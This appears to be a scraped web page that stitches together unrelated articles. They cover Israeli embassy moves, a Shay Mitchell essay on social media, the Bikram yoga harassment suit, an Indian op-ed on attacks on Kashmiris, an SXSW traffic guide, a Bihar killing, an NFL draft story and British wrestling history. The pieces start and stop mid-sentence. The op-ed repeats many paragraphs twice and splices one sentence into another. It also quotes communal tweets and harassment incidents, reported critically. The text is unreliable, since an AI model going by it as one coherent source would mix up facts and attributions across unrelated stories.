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by Channel 10, one of the next countries is likely to be Honduras, a state with which Israel has close economic ties.
Israel and Honduras have been cultivating a flourishing bilateral relationship over the past few years. Last year, the two countries signed an accord under which Israel agreed to enhance the Central American country’s armed forces in an unprecedented way in order to fight organized crime.
The Honduran President, Juan Orlando Hernandez, who was reelected earlier this month in a hotly disputed election, is a graduate of MASHAV, Israel’s Agency for International Development Cooperation, and he has spent time in the country.
Along with Guatemala, Honduras was one of nine nations that voted “no” with the United States when the UN General Assembly adopted a resolution denouncing Trump’s recognition of Jerusalem.
Other countries reportedly in talks to move their embassies are South America’s Paraguay and the west African nation of Togo. The Czech Republic has also recognized West Jerusalem as Israel’s capital. Russia did the same in April.Image zoom John Lamparski/WireImage
At 7:46 a.m. last Wednesday morning, I was lying in bed, scrolling through Tumblr. I was about a half hour into my search for what to post next on Instagram (and about to be late for a spin class). My brain had prioritized social media over getting coffee or figuring out what workout pants to put on.
My last few Instagrams had been of me, food, or a beach somewhere, so I was thinking I should post a quote next. And then, boom. I found an image of the perfect quote—“Everything isn’t always as it seems … ”—on a nice, clean white background.
VIDEO: 9 Times Shay Mitchell Defined #MakeupGoals
Without a doubt, the subject I’m most often asked about in interviews or by friends is social media. (That is, of course, after “What’s it like to kiss a girl onscreen?”) I would be lying if I said my Facebook, Instagram, Snapchat, Twitter, and YouTube accounts didn’t matter much to me. But I have a complicated relationship with them.
On one hand, I view those platforms as vision boards and places to share things I’m passionate about—ways to connect with people and myself. I remember a day a few years back when I was feeling totally exhausted and uninspired. Then I scrolled past an inspirational quote a blogger had posted on Instagram: “The world is your oyster.” My father used to say that to me throughout my childhood. I closed my eyes and was immediately back in my first bedroom in Vancouver, tucked into bed as my dad came in to say good night and remind me that “the world is your oyster.” If someone can get even a tiny bit of that kind of goodness from something I’m posting, then it’s worth it.
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Also, my feeds give me a certain amount of control over my image that I don’t always have. On Instagram you may see me all glammed up and ready for a red carpet, or sweaty and in braids and wearing a well-placed towel after a boxing session, or diving headfirst into a pizza. You see that because that’s what I want you to see. You don’t get any shots of what it’s like before I get into hair and makeup, when I have on zit cream and undereye gels for reducing puffiness. Or what I looked like huddled in the corner of the boxing gym trying not to puke after running intervals.
Being in the public eye is such a weird thing. People can write or say whatever they want about me. I wouldn’t call myself “controlling,” per se, but when there are many variables out of my hands, it makes me really think about the parts of my image that I do have power over. Social media is something you have ownership of, and that’s so empowering.
Image zoom shaymitchell/Instagram
But I’m 30. Looking at my cousins, who are between the ages of 2 and 18 and on phones all the time playing games, texting, and posting on social media, all I can think about is how I would have handled having all that during my adolescent years. And to be honest, it stresses me the f— out. I feel lucky that I was able to leave school, go home, and escape the bitchy girls who made me feel like an outcast. That freedom doesn’t exist anymore.
Girls have their social game faces on at all times, and with that comes competition, bullying, and one-upmanship. I feel that pressure myself. Sometimes that need to present a perfect image can become all-consuming. There are moments when I feel the desire to post something and I can hear my inner voice saying, “It’s a latte … people have seen them before … just drink it before it gets cold.” So once in a while I have to put myself in check. The other day someone asked me, “What did you do this weekend?” and my actual response, before I took a minute to think about it, was, “I don’t remember. Let me check my camera roll.”
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In those moments, I realize I need a break and try to be more mindful. Maybe I throw on Spotify and relax or meditate or cook. I try to rediscover balance.
Social media can be an amazing way to connect with people. But when social media stops inspiring you and starts making you feel crappy about yourself, you need to remember what’s real and what’s not.
Last Wednesday I may have been sitting in bed late for a spin class because I couldn’t choose a pretty quote to post, but next week I’ll make it a point to be the first one on a bike—and to leave my phone in the locker room.
Mitchell stars in the final season of Pretty Little Liars and Sony Screen Gems’ upcoming film Cadaver.
For more stories like this, pick up the June issue of InStyle, available on newsstands and for digital download May 12.Bikram yoga founder's former student alleges the yogi prevented her from teaching because she refused his sexual advances
The founder of "hot yoga", Bikram Choudhury, has been accused of sexual harassment and discrimination by one of his top students.
The 67-year-old founder of the international Bikram yoga studio is alleged to have pursued protege Sarah Baughn, 29, for years, claiming they were connected in a past life and his wife didn't understand him. Eventually his pursuit turned physical, she claims.
According to a suit filed in Los Angeles' superior court, Choudury denied Baughn an international championship title she had been awarded and has prevented her from teaching "because of her past and continuing refusal to have sex with her guru."
The multi-millionaire founder of the international chain claims to have taught yoga to presidents Nixon, Reagan and Clinton. Celebrities such as Madonna, David Beckham, George Clooney, Jennifer Anniston and Lady Gaga have all practiced the yoga system, which consists of 26 sequential poses and takes place in rooms heated to over 100F (37.8C).
Choudhury claims to have a fleet of Rolls Royces, has compared himself to Jesus and Elvis and claims to have the biggest pool in Beverly Hills.
Choudhury and his wife Rajashree control the Bikram yoga empire from their home in Beverly Hills, California and have clashed in court with other yoga studios over what they claim is their patent on "hot yoga."
According to the suit, Choudhury told Baughn: "My wife is such a bitch, you have no idea." He told Baughn: "I am so lonely. I am dying. I can feel myself dying. I will not be alive if someone doesn't save me."
Baughn's suit describes how she began practising Bikram while a student studying creative writing in 2004. She said that, encouraged by her yoga teachers, she dropped out of college at age 20 to dedicate herself full time to yoga. She paid Choudhury $7,500 to attend a "gruelling" nine-week training course.
"Very early in training, Sarah Baughn noticed that Bikram Choudhury's relationship with young women yoga students was different," the suit says. Young women were chosen to brush the pony-tailed guru's hair and give him massages, it alleges. On the third night of training Choudhury had one of his students hand Baughn his diamond-studded Rolex watch.
Choudhury insisted that he had known Baughn in a past life and the connection was "so strong and meaningful that he still remembered it". The suit alleges that Baughn complained to other members of the studio and was told Bikram was "not a good man" but a "good teacher".
In one class, Baughn alleges, Bikram "pushed her down towards the floor after pulling her leg apart and opening her body". The suit alleges that he then pressed his body against her and "began whispering sexual things to her until she collapsed in sobs".
Choudhury did not return a call and email for comment.IF YOU ARE really a patriotic citizen, a sacha desh premi, you should know the truthful answer to this simple question: Was Mahatma Gandhi shot at from the front, or was he shot in the back?
What did you say? No, wrong. Terribly wrong, and obviously misinformed. Stop calling yourself a desh bhagat!
We have it on authority from the RSS chief, and more committed desh bhagats are hard to find in India, that Gandhi was shot in the back, and not by Nathu Ram Godse.
K.S. Sudarshan, then the RSS sarsanghchalak, made this shocking revelation. He, of course, always had access to never-before-known factoids, including the real reason behind the demolition of the Babri Masjid. Kar Sewaks had not brought down the structure, he had expounded. In fact, it was a bomb K.S. Sudarshan, then the RSS, made this shocking revelation. He, of course, always had access to never-before-known factoids, including the real reason behind the demolition of the Babri Masjid.had not brought down the structure, he had expounded. In fact, it was a bomb planted by the Congress that caused demolition.
Some time in early 2005, the then editor-in-chief of the Indian Express, Shekhar Gupta, went to meet the RSS boss, and was educated by Sudarshan that Godse was just visiting that day to greet Gandhi, and happened to be carrying a pistol, but since Gandhi was shot with a revolver, it was clear that someone else shot him. Also, the RSS chief had worked the forensic evidence, too. He did not pay attention to the minor detail as to why a dedicated person like Godse would carry a pistol when his plan merely included greeting Gandhi. Most people usually manage without one.
But back to the forensic evidence, a la Nagpur.
"If Gandhi had been shot from the front, the entry wound would have been smaller, and the exit a gaping hole. But it was the other way around. Conclusion: he was shot from behind. Implication (his words, not my interpretation): The only person who stood to benefit from his death was Nehru." This is how Shekhar Gupta described K.S. Sudarshan's version:
As the veteran journalist asked Sudarshan about the source of his information, the RSS chief said he got all these never-heard-before details from a book written by a senior police officer from Andhra Pradesh, who incidentally had died "a long time ago," as per Sudarshan. Of couse, the book, too, went out of print a long time ago, he added. So, Shekhar Gupta's only choice was to take a call on whether to tell the nation an explosive new fact about India's post-independent political journey, or use his own judgement and call the shitty new version of history what it was — crap.
It is a choice millions of Indians are being offered everyday — to make a judgement call. A version of patriotism is being peddled, and woe begone you if you do not agree to it lock, stock and barrel of the army's gun.
Kashmiri youth are taking to militancy. A huge majority are unhappy with India. Young Kashmiri boys throw stones at army jawans. Pakistan claims Kashmir. Ergo, all Kashmiris are anti-India. So, Muslim Kashmiris, irrespective of where they are in the country and what they have been doing till date, are to be blamed for the attack on CRPF jawans in Pulwama. Also, the burden of avenging the death of these martyrs is now on the shoulders of ordinary citizens who must prove their patriotism by appreciating the army, hailing the martyrdom of the fallen, and taking some sorely-needed direct action against Kashmiris.
But lest you think for a moment that this lumpen behaviour is limited to a small group of hooligans, it should be clear that the mob in the street is whipping up the sentiment in an architecture of hate, and vast sections of the educated Indian middle class is primarily supporting this heinous crime. But lest you think for a moment that this lumpen behaviour is limited to a small group of hooligans, it should be clear that the mob in the street is whipping up the sentiment in an architecture of hate, and vast sections of the educated Indian middle class is primarily supporting this heinous crime.
It is a phrase I use with an extreme sense of responsibility. By definition, a hate crime is a prejudice-motivated crime which occurs when a perpetrator targets a victim because of his or her membership or perceived membership in a certain social group or race. Which part of this is difficult to understand?
In homes most decent, conversations have crossed into the territory of hate speech. People are exchanging WhatsApp messages that tick every box in the definition of hate speech. Many of these messages are being exchanged/shared in groups in which members include university professors, eminent writers, poets and senior journalists. In homes most decent, conversations have crossed into the territory of hate speech. People are exchanging WhatsApp messages that tick every box in the definition of hate speech. Many of these messages are being exchanged/shared in groups in which members include university professors, eminent writers, poets and senior journalists.
We have created a paradigm in which committing a serious hate crime has become an acceptable thing, and at best a tolerable, or ignorable thing. In the eyes of the law, even if no one is rushing to implement it, we have become criminals. When people commit crimes, even if the law looks the other way, it does make them smaller people.
We are being fed a version of what it means to be a desh bhakt, a patriot. We are taking a judgement call on this. We are being fed a version of what it means to be a, a patriot. We are taking a judgement call on this.
* Kashmiri students in scores of colleges across the country are being asked to leave the cities and return home temporarily, because the mobs are baying for their blood.
* Top national newspapers For the safety of the college and the Kashmiri students in it, I asked college authorities to suspend me.” reported how an institute suspended its Dean, Academics, because protesting activists of certain Hindutva groups, including the ABVP, Bajrang Dal and VHP, demanded that he be fired since he was a Kashmiri. Hailing from Kaddar in Kashmir’s Kulgam district, the Dean told a newspaper, "
The college chairman said: " The mob was so aggressive that we had to give in to their demands...we had to issue the suspension letter because of the mob. We needed to do whatever was demanded to keep our students safe.” The college chairman said: "
* The Dev Bhoomi Institute of Technology (DBIT) Dean Arjun Singh said the college authorities are "helping" the students "leave the city by providing them vehicles till the airport and the bus station."
* Dehradun's Superintendant of Police Shweta Choubey said, "We have been doing everything in our capacity to ensure that all Kashmiri students are safe." So, clearly, "everything" does not include preventing radical Hindutva groups from threatening, beating, browbeating people.
* When posters appeared in certain areas of Dehradun, calling for a boycott of Kashmiris, here's the toughest action of the police, as narrated by SHO of the area Narendra Gahlawat: "We went to the place where the posters were spotted and explained to the people not to engage in such activities.”
* Hundreds of landlords in scores of Indian cities asked Kashmiri tenants to vacate their premises, a fact most groups of aggressors have now stopped contesting. Attacks on Kashmiris were reported from Dehradun, Jodhpur, Ambala, Panchkula, Delhi, Patna and many other cities. in scores of Indian cities asked Kashmiri tenants to vacate their premises, a fact most groups of aggressors have now stopped contesting. Attacks on Kashmiris were reported from Dehradun, Jodhpur, Ambala, Panchkula, Delhi, Patna and many other cities.
* Tales of students being arrested, suspended or rusticated following social media messages they allegedly posted or shared or 'liked', now abound in such numbers that many newspapers have stopped publishing too many details.
* In a number of Indian towns, big and small, senior police officers have been issuing public statements appealing to people " to maintain calm and not to take law into their hands. " This is the most clear signal to marauding groups that the police will look the other way. An armed force "appeals" to one side; it arrests people on the other side. Help means telling Indian citizens that they can't be protected and must return home, a move in which the cops are out to help!
* Newspapers have reported about villages panchayats in Ambala asking villagers to evict Kashmiri students living in rented accommodation within 24 hours. Videos have surfaced on social media, yet not one newspaper has sent journalists to track the development. Not one person has been arrested. about villages panchayats in Ambala asking villagers to evict Kashmiri students living in rented accommodation within 24 hours. Videos have surfaced on social media, yet not one newspaper has sent journalists to track the development. Not one person has been arrested.
* You have grassroot level workers of some organisations openly stating that Kashmiri tenants be evicted and anyone not following the diktat will be considered a traitor.
* Even as the Union Home Ministry issued an advisory to ensure safety and security of students, and scores of newspapers carried a large number of news items about harassment of Kashmiri students, the CRPF, the force under whose flag 40 brave sons of Mother India had attained martyrdom just days before, took a judgement call. It tweeted from its official handle that it has "enquired about complaints about harassment and found them incorrect."
Also, it asked people to shut up: "These are attempts to invoke hatred. Please DO NOT circulate such posts." That’s the confidence-inspiring CRPF.
So, by sharing details with you about incidents of harassment, I am clearly doing something anti-national, since what else can you call an "attempt to invoke hatred?"
If someone tells the police that an unruly mob shouting anti-Pakistan and anti-Kashmir slogans has occupied a Kashmiri girl students’ hostel in Dehradun or that Kashmiri students in Dehradun have been threatened to leave the city within 24 hours, this could amount to an attempt to invoke hatred.
* The Indian Express reported that "members of Bajrang Dal, VHP, and Bharatiya Janata Yuva Morcha visited private colleges in Dehradun and demanded suspension/rustication of Kashmiri students." that "members of Bajrang Dal, VHP, and Bharatiya Janata Yuva Morcha visited private colleges in Dehradun and demanded suspension/rustication of Kashmiri students."
It reported a student giving details of how students "fled from the premises without any of their belongings." They requested their landlord, seeking shelter, but "a group of people reached there as well to question our landlord. We ran from there as well, scaled a wall to escape.” Do you think any journalist in that town is following up on the case, asking questions about what is being done to track down the louts who were chasing these Kashmiri students and spreading terror?
* Hundreds of Kashmiri students have been forced to find shelter in gurdwaras. Some have narrated detailed accounts of how they locked themselves in for days to escape groups of hooligans. How many police officers do you think landed up at the gurdwaras to record students' statements and file relevant FIRs, lest their tormentors escape the long arm of the law?
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Also Read: KYUN KE HUM HAIN HINDUSTANI
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* Now, colleges in this democratic country run under the Constitution of India are making public statements that they will refuse admission to Kashmiris from the next academic session. Some colleges are actually submitting an "undertaking” to this effect to threatening crowds. Among these was Dr Aslam Siddiqui, principal of Baba Farid Institute of Technology (BFIT), who wrote on Friday, "We assure you that if any Kashmiri student is found engaged in any anti-national activity, then the student will be expelled from the institute... Nae satra mein kisi bhi Kashmiri chhatra ko daakhila nahi diya jaega.”
Do you think the police is committed to tracking down these student leaders? Has the principal been asked to immediately withdraw such a letter and announce that the college will not discriminate on the basis of ethnicity? Do you think the police is committed to tracking down these student leaders? Has the principal been asked to immediately withdraw such a letter and announce that the college will not discriminate on the basis of ethnicity?
Read the Financial Express' report, quoting the principal: "Around 400-500 people from ABVP, VHP, and Bajrang Dal protested in front of the institute between 1 pm and 5pm. They asked us to assure them that all the Kashmiri students would be expelled from BFIT. I tried explaining that expelling students mid-term would affect their careers. Finally, keeping in mind the safety of the Kashmiri students, I had to give in writing that we won’t accept any Kashmiri student from the next session.”
Another college, the Alpine College of Management and Technology, reproduced verbatim the contents of the BFIT letter. Then, its director, one S K Chauhan, announced the management's intention, inclination and readiness to commit even a more flagrant violation of the Constitution of India. "I have given in writing that we won’t accept any Kashmiri student from the next session...However, till now, only two institutes have said that they won’t give admission to any Kashmiri student in the next session. Only if all institutes in the state follow this will our institute follow it too.”
* Meanwhile, hardworking students are on the job. ABVP's Jitendra Singh Bisht, president of Dehradun's DAV Students’ Union, has said his group has not been able to approach all institutes so far "but we will do so and get an undertaking that they won’t take in any new Kashmiri student.”
* Dehradun's Bajrang Dal leader Vikas Verma has said his group "does not want even one Kashmiri Muslim student in Uttarakhand." The SSP of Dehradun, Nivedita Kukreti, has said, "The police will uphold law and order.” You want to laugh, or cry? Vikas Verma has said his group "does not want even one Kashmiri Muslim student in Uttarakhand." The SSP of Dehradun, Nivedita Kukreti, has said, "The police will uphold law and order.” You want to laugh, or cry?
* Instances of a journalist doing his or her duty are the only hope. Read this account from Dehradun's Sudhowala locality: "This correspondent witnessed the men stopping their vehicle in front of the two Afghan youths and asking them to chant "Hindustan zindabad” and "Pakistan murdabad”. When they didn’t, the men assaulted the two youths."
* In Kolkata, a Kashmir-origin doctor was asked to leave town though he has been in the metro city for 22 years. was asked to leave town though he has been in the metro city for 22 years.
* The Roorkee-based Quantum University, upon the demand of a mob, suspended seven Kashmiri students, but it only encouraged the mob to change the demand and ask that they be rusticated. The college duly complied.
R K Khare, the university’s registrar, said, "Many students from our university along with some members from outside the university created ruckus and demanded that the Kashmiri students be removed… We needed to maintain decorum in the university, so we took action against the seven students…”
The call was taken by the owner of the university, BJP leader Anil Goyal. "For the safety of the Kashmiri students, we had to take the decision.”
Meanwhile, Prime Minister Narendra Modi is taking a strong stand against terrorism by warmly welcoming Saudi Arabia's Crown Prince Sultan Mohammad bin Salman, who must be known for his benign approach towards politics and a strong commitment towards wiping out terrorism. Of course, no one has heard of Jamal Ahmad Khashoggi, columnist for The Washington Post and editor-in-chief of Al-Arab News Channel who must have experienced first-hand the result of such commitment inside the Saudi Arabian consulate in Istanbul last October. Of course, no one has heard of Jamal Ahmad Khashoggi, columnist for The Washington Post and editor-in-chief of Al-Arab News Channel who must have experienced first-hand the result of such commitment inside the Saudi Arabian consulate in Istanbul last October.
Also, Meghalaya Governor Tathagata Roy has now taken upon himself to single-handedly come up with practical ideas to resolve the Kashmir imbroglio. He wants all patriotic Indians to boycott Kashmir, Kashmiris and "everything Kashmiri.” If India still has a Constitution, and the NCERT school textbooks claim it does, then Tathagata Roy is the representative of the President of India.
His boycott appeal, made in the wake of attacks on Kashmiri students, professionals, traders and others following the Pulwama tragedy, must be perceived as a soothing balm, otherwise he would have attracted the ire of Maha Mahim Shri Ram Nath Kovind.
---------- Also Read: KYUN KE HUM HAIN HINDUSTANI ----------
When criticised by the Opposition, Governor Tathagata Roy called his comment a "purely NON-VIOLENT REACTION to the killing of our soldiers by the hundreds and the driving out of 3.5 lakh Kashmiri Pandits." That part is true; the reaction was non-violent. Roy had not asked anyone to pick up a stick and beat up a Kashmiri. Roy had done that part earlier.
Read his words, vintage April 23, 2015: ‘Attack by Muslims on Hindus at Ghazipur, Bangladesh. Attack by Muslims on Hindus at Mallikpur, W Bengal, India. What awaits us Bengali Hindus?’
Tathagata Roy's job is to advise and caution the government if and when it transgresses Constitutional morality. One understands the commitment with which he is performing. He is in sync with some of the ideas that Crown Prince MBS has towards disciplining dissent.
A vast number of Indian citizens are now internalising a new normal — that shawl vendors can be attacked for the sins of Jaish-e-Mohammad and terrorism can be controlled by laying out a red carpet for a Saudi prince with a proven track record of bone-saw finesse. A vast number of Indian citizens are now internalising a new normal — that shawl vendors can be attacked for the sins of Jaish-e-Mohammad and terrorism can be controlled by laying out a red carpet for a Saudi prince with a proven track record of bone-saw finesse.
All that we are now left to agree on in order to become a one nation, one idea, one motto, one leader, one thought, one people is to come to a conclusion on whether Mahatma Gandhi was shot in the front or in the back.
Choose your side very, very carefully.
Any rumours of you finding yourself under any pressure is likely to be found false.
* * *
Tathagata Roy's Tweets - Try not missing a heartbeat
"An appeal from a retired colonel of the Indian Army: Don't visit Kashmir, don't go to Amarnath for the next 2 years. Don't buy articles from Kashmir emporia or Kashmiri tradesman who come every winter. Boycott everything Kashmiri. I am inclined to agree."
‘Whatever gave you the notion I am secular? I am a Hindu. My state, India, however is secular since 1976.’
About the crowd of mourners following the hanging of Mumbai blast convict Yakub Memon, Tathagata Roy tweeted these mourners could be ‘potential terrorists’: ‘The intelligence should keep a tab on them. Intelligence shd keep a tab on all (expt relatives & close friends) who assembled bfr Yakub Memon’s corpse. Many are potential terrorists.’ - July 31, 2015
‘Overwhelming Hindu majority is ESSENTIAL to maintain a multi-religious society & secular state. But West Bengal is slipping.’ - Dec 17, 2014.
Commenting on the ‘fighting back’ nature of Hindus: ‘One exception was Gujarat, 2002. I’m glad you appreciate what the Hindus did then.’ - March 23, 2015
‘Attack by Muslims on Hindus at Ghazipur, Bangladesh. Attack by Muslims on Hindus at Mallikpur,W Bengal, India. What awaits us Bengali Hindus? ’ - April 23, 2015.Festival crowds, street closures, presidential visits, oh my! SXSW brings out the best in music, film, and technology, but it also brings out the worst in Austin traffic. Here's your transportation guide to getting downtown, getting around, and avoiding the madness during the 10-day festival.
President Obama in Austin
President Obama is scheduled for a keynote speech at the Long Center on Friday, March 11, which will add even more congestion to the city. Austinites are urged to carpool, use public transportation (although Capital Metro warns us to expect delays), or avoid the downtown area if possible. The mayor even urged Austinites to work from home on Friday. Do with that what you will.
Getting to SXSW
Capital Metro
Other than Friday, March 11, catching a bus or train will be easy (even easier if you buy tickets ahead of time). Cap Metro is expanding service during SXSW, which means later hours for the MetroRail and MetroRapid — and don't forget about the E-bus and Night Owl options. Download the free Cap Metro app to access bus schedules and route detours from your phone. Not sure how to get where you're going? Use the Trip Planner.
Rideshare
Uber and Lyft will be operating in full force. Save some dough and look out for the Lyft Line and UberPool carpooling options in the app. Be aware of surge pricing, though, and see if you can scope out some sweet discount codes ahead of time. For example, new Lyft users get $20 off the first ride with "SXSW2016."
car2go
If you're a car2go member, don't worry about finding parking downtown. Simply drive to one of the four designated drop-off zones downtown and be on your way. If you're not a car2go member, now's the time to sign up — the transportation service is offering new member registration deals and discounts for SXSW.
Cabs
The competition for cabs will be fierce, so we suggest calling an hour before you need to be picked up. Your options are Yellow Cab Austin (512-452-9999), Lone Star Cab (512-836-4900), Austin Cab Company (512-478-2222), and the Hail a Cab app.
Getting around the fest
SXSW Shuttles
SXSW offers a free shuttle service between the Austin Convention Center, Auditorium Shores, and several other venues. Scope out the shuttle locations ahead of time here; schedules and routes can also be accessed via the official SXSW app.
Pedicabs
These human chariots will be everywhere downtown, but most congregate at the Austin Convention Center. Be sure to work out the price with your pedicab driver ahead of time, and tip well — these folks are literally working their butts off to help you get around. Tip: Keep an eye out for SkinnyPop pedicabs, which will be offering a few free rides.
Austin B-cycle
Snag a bike from Austin B-cycle and zip around downtown. All you need to do is insert a credit card at the station, and you're good to go for 24 hours — just return the bike to any station when you're done. Find a full list of stations here.
What to avoid
Check out this map for a more in-depth look at downtown Austin street closures. And the handy little app Metropia can help you plan your commute ahead of time and reroute you away from the worst traffic jams.
Closed March 11 through 20
Sabine Street between East Fifth Street and East Seventh Street
Red River Street between East Fifth Street and East Seventh Street
Red River Street between Cesar Chavez Street and East Fourth Street (Southbound lanes close daily from 5 pm to 3:30 am. Lanes open March 14 through 17.)
Neches Street between East Fifth Street and East Seventh Street
Trinity Street between East Fifth Street and East Seventh Street
San Jacinto Boulevard between East Fifth Street and East Seventh Street
Trinity Street between Cesar Chavez Street and East Fourth Street
East Second Street between Trinity Street and San Jacinto Boulevard (Local access and valet parking allowed.)
East Third Street between Trinity Street and San Jacinto Boulevard (Local access and valet parking allowed.)
East Fifth Street between Neches Street and San Jacinto Boulevard (One lane on south side will be closed.)
East Fifth Street between Red River Street and Trinity Street (One lane on north side will be closed.)
Additional closuresThe news comes at a time when the Centre and many states have been promoting the âBeti Bachao Beti Padhaoâ campaign which seeks to address gender inequality through education.
Defying the family in her quest for higher education proved fatal for a 16-year-old village girl in Bihar.
Khushboo Kumari, who was allegedly set on fire by her father and stepmother for refusing to marry an older man, succumbed to burn injuries at Patna Medical College Hospital on February 5.
The victim's elder brother Amrit Raj said in the FIR that their father Sunil Thakur, stepmother Poonam Devi and other relatives burnt Khushboo alive because she refused to marry and wanted to study further.
This underlines the social barriers girls still face in pursuing education at a time when the Centre and many states have been promoting the 'Beti Bachao Beti Padhao' campaign. Ironically, the 'Mukhyamantri Balika Cycle Yojna', a scheme started by the Nitish Kumar government under which girls are given free bicycles to ride to school, claims to have changed the face of Bihar.
Khushboo, who lived in Purani Bazar under Masaurhi police station about 35 km from Patna, was studying in Class XII at a local school and was said to be a bright student.
Masaurhi police Station House Officer (SHO) Arun Kumar Akela said Khushboo died of burn injuries. "We are looking into the circumstances leading to her death," he said. "We are waiting for the postmortem report."
In his complaint, Amrit Raj said his sister wanted to pursue higher education but her father and stepmother had fixed her marriage two months ago with a much older person from Naubatpur. When the victim came to know about the plan, she refused to marry which left her parents infuriated.
The brother alleged that Khushboo was being harassed at home and on February 3, their father, aided by his wife, set her on fire and fled from the scene. She was later taken to a local hospital from where she was referred to Patna Medical College Hospital in a critical condition.
Amrit said their father had married Poonam in 2001 after the death of their mother. While he went to live with his maternal grandfather at Dhanarua, Khushboo, who was a small child at the time of their mother's death, stayed back with the father.
Amrit alleged that Khushboo had always been treated shabbily at home with the stepmother forcing her to do all the household chores. Despite not being allowed to study, the victim used to take some time off from the chores to do the school work, he added.
The local police lodged an FIR against Khushboo's father, stepmother and their relatives on the basis of Amrit's statement and are investigating the matter. All the accused are, however, absconding.
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60 Dalit students from Bihar threaten to commit suicide
Minor girl from Bihar rescued from Bengaluru brothelOne week removed from his infamous draft-day slide, New York Jets quarterback Geno Smith has remained in the spotlight for all of the wrong reasons.
Smith's behavior before, during and after the draft has raised questions about his maturity, according to NFL talent evaluators. It also may have cost him money, approximately $3 million a year.
At least one quarterback-needy team in the top 10 passed on him because of the diva attitude he displayed in a pre-draft visit, according to a league source.
After falling out of the first round, the former West Virginia star threatened to leave the draft and go home. He dropped to the second round and responded by firing his agents, sparking another firestorm of criticism.
"He's going to have a tough time in New York," an NFC scout said, speaking on the condition of anonymity. "Right now, he's coming off as a spoiled, pampered brat."
Leading into the draft, word spread that Smith was preoccupied with his cell phone during pre-draft visits, texting friends and checking Twitter during meetings with team officials, as first reported by Yahoo! Sports.
In the NFL, a team visit is akin to a job interview. An aloof prospect is a major turnoff.
A league source confirmed the report. In fact, an official from one team -- not a team that visited with Smith -- said the cell-phone episode was mentioned and discussed in its draft room while evaluating Smith.
That same team rated Smith the top quarterback in the draft, but assigned him only a second-round grade.
Initially, the Jets had some doubts about Smith. They met with |
past his prime in the ring, but carrying name value in negotiations, quit Joint and set up his own promotion with Max Crabtree as booker, and Johnny Dale scheduled to take over the business side. However, Dale died before he could really settle into the role, and Crabtree was headhunted by Joint as the most experienced booker still in the business.
Crabtree had a simple idea to turn business around, one that would spark the next boom - and bust. His brother Shirley, who had been unemployed for the best part of 15 years, was repackaged as 'Big Daddy', the larger-then-life favourite of children and pensioners everywhere. That he was no longer a bodybuilder youth, rather an overweight man in his forties, did not seem to be an obstacle. Every major heel in the country tasted defeat at Daddy's hands, usually in short order thanks to Crabtree's lack of conditioning.
Within a few months of his return, Daddy had even torn off the mask of Kendo Nagasaki, a mysterious heel that had been a top draw since unmasking rival Count Bartelli in 1966. Nagasaki was one of the few men to avoid jobbing to Daddy, instead voluntarily unmasking in a bizarre ceremony in 1977, before retiring the following year.
There is no doubt that, for the Crabtree family at least, the Big Daddy express proved hugely successful. He was by far the best known wrestler in British history, with his own cartoon show on television; Hulkamania without the in-ring ability. His run was extended by carefully positioning him in tag matches, allowing a host of young partners (which included Davey Boy Smith, Dynamite Kid and the future Steven Regal) to carry the match before tagging Daddy in for the finish. His two biggest singles matches, defeating the Canadian 'Mighty' John Quinn in 1979 and perennial rival Giant Haystacks two years later were both inexplicably successful; claims of 18 million viewers may require a healthy dose of scepticism, but both shows sold out the 10,000 seat Wembley Arena. The loyal followers were even able to overlook the truly atrocious nature of the matches, both lasting less than three minutes.
But, once again, things couldn't last. Within a couple of years, Joint Promotions was down to around 100 shows a month, a notable dropoff. One hero defeating many villains may have made good television, but it hardly produced a deep roster full of drawing power. When Joint were rewarded with a five year extension on their television contract starting in 1982, things looked bleak for the rest of the industry.
Frustration among wrestlers was inevitable, particularly considering how many great workers were around at this point; one could argue that New Japan and Calgary's junior-heavyweight glory days both had their roots in British wrestling of the time. Merseyside promoter Brian Dixon, who had started in the business in his youth, running the Jim Breaks fan club, now had several years experience running his own firm, All Star Promotions, and began capitalising on this disaffection.
Joint had tried their hand at creating a major drawing storyline by crowning Wayne Bridges as the first 'world heavyweight champion' in 1979, with John Quinn taking the title the following year to set up Bridges' chase at revenge. However Quinn jumped to All Star with the title; Joint put the belt back on Bridges, only for him to follow suit in 1983. Within a couple of years, Dixon also had British heavyweight champion Tony St Clair, World mid-heavyweight champion Mark Rocco, British mid-heavyweight champ Chic Cullen and World lightweight champion Johnny Saint on his books. And whatever prestige the titles brought to All Star was more than matched by the superior product, with the fast-paced technical style and show-to-show storylines at regular venues proving more appealing to many than the seemingly never-ending antics of Daddy and company.
But this was hardly the only concern for Joint Promotions. In 1985, regular Big Daddy partner Tony 'Banger' Walsh told all to The Sun about the true nature of wrestling. This was not a first: a 1972 News of the World expose saw a locker room bugged to record two wrestlers discussing a finish. A 1981 court case with wrestler Masambula suing promoters after suffering an injury on a defective ring revealed that he suffered the injury one round before his scheduled defeat. And a frustrated Pallo went into intricate detail in his 1983 expose 'You Grunt, I'll Groan'. But revealing these secrets never truly hurt the business; suspension of disbelief was all too easy for the die-hard fans. What really hurt was the suggestion that Big Daddy's warm-hearted child-loving image was in fact a sham.
At the end of 1986, the Crabtrees received another blow when World of Sport was taken off the air. Wrestling instead got its own show, but the timeslot changed from week to week, slowly driving away the regular audience. And far worse for Joint Promotions, with their contract up, they were forced to share the TV rights as part of a rotation system with All Star Promotions and the WWF. While the All Star's product put Joint to shame (a truly atrocious Dale Martin show at the close of 1986 was followed the next week by an All Star extravaganza featuring Fuji Yamada - later Jushin Liger - plus the return of Kendo Nagasaki in a bizarre 'disco ladder' match), the shows were limited by harsh restrictions on the part of broadcasting regulators. But it was the exposure of WWF television that many have pinpointed as the death blow for British wrestling. As one British promoter put it, what chance did an ageing Joint roster stand when young viewers had seen Hulk Hogan and Randy Savage in a wild lumberjack match before 20,000 Madison Square Garden fans.
What appeal Big Daddy still had took yet another blow on 24 August 1987 during a match with Mal 'King Kong' Kirk. After being pinned by a splash from Daddy, Kirk lay still in the ring. He was taken to hospital and never regained consciousness, dying from a heart attack. When Kirk's widow revealed he was earning just £25 a night, the press tore Shirley Crabtree's reputation to shreds; his attempts to portray the incident as a tragic end to a legitimate sporting contest just made matter worse.
The end was nigh, and it arrived in December 1988 when new ITV head of sport Greg Dyke axed the wrestling show as part of an attempt to modernise the station's image, with 'working class' sports such as snooker and darts also falling by the wayside. Having bought the remnants of Joint Promotions from the William Hill firm just two years earlier, Max Crabtree soon suspected he had been sold a lemon. And with rumours that the WWF were asking just £700 a show while Joint Promotions were getting £17,500, hindsight suggests the demise of televised wrestling was already on the cards when Crabtree made his purchase. When newly launched satellite network Sky (which, in its previous form as a single cable channel, had covered the WWF since the early 80s) offered just £500 an hour for Joint Promotions shows, the game was up.
